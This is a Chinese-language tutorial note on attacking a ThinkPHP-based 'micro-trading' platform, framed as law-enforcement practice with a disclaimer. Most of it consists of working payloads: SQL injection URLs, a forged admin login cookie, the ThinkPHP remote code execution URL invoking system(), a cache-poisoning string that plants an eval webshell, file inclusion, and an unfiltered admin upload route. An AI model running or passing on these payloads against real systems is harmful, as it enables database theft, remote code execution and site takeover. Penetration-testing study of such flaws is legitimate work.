PHP框架开发篇&实战ThinkPHP项目&打击微交易&源码获取&扩大战果
背景交代:
旨在提高打击违法犯罪能力,请勿用于黑X用途,否则后果自负!
模拟实战中如何打击某微盘系统,源码获取再到代审及后续实战检测。
搭建复现:
1、目录指向绑定域名
2、修改配置导入SQL文件
3、加入修改伪静态配置
-不安全写法
where->ChickIsOpen->goods->pid
/index.php/index/goods/goods/pid/6 and(extractvalue(1,concat(0x7e,(select user()),0x7e)))
where->ajaxkdata->pid
/index.php/index/goods/ajaxkdata/pid/6 and(extractvalue(1,concat(0x7e,(select user()),0x7e)))
-XSS跨站
可以挖危害不大的前台XSS
也可以找危害大的后台XSS
观察后台显示的数据那些可以前台控制:用户名
用户名注册时带入XSS攻击语句,当后台管理员查看用户列表时触发
-逻辑验证
脆弱验证未授权访问
token采用固定生成导致未授权访问
请先登录->Base::__construct->cookie->Login::login->$_SESSION['token']
denglu=think:{"otype":"3","userid":"1","username":"admin","token":"3c341b110c44ad9e7da4160e4f865b63"}
-版本漏洞(对比项目找已知漏洞)
1、代码执行
存在:
/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
2、SQL注入
有版本漏洞但没入口
public function test()
{
//SQL注入
$username = request()->get('username');
$result = db('userinfo')->where('username',$username)->select();
return 'select success';
}
) and updatexml(1,concat(0x7,user(),0x7e),1)%23
4、缓存漏洞
有版本漏洞但没入口
public function index()
{
//缓存漏洞
Cache::set("name",input("get.username"));
return 'Cache success';
}
?username=mochazz123%0d%0a@eval($_GET[_]);//*
runtime\cache\b0\68931cc450442b63f5b3d276ea4297.php
3、文件包含
有版本漏洞但没入口
public function include_test()
{
//文件包含
//index.php/index/xiaodi/include_test?cacheFile=1.txt
$this->assign(request()->get());
return $this->fetch(); // 当前模块/默认视图目录/当前控制器(小写)/当前操作(小写).html
}
//index.php/index/xiaodi/include_test?cacheFile=1.txt
4、反序列化
无此版本漏洞
-文件上传
功能点分析,定位文件,无过滤直接上传
/admin/setup/editconf.html->editconf->file->move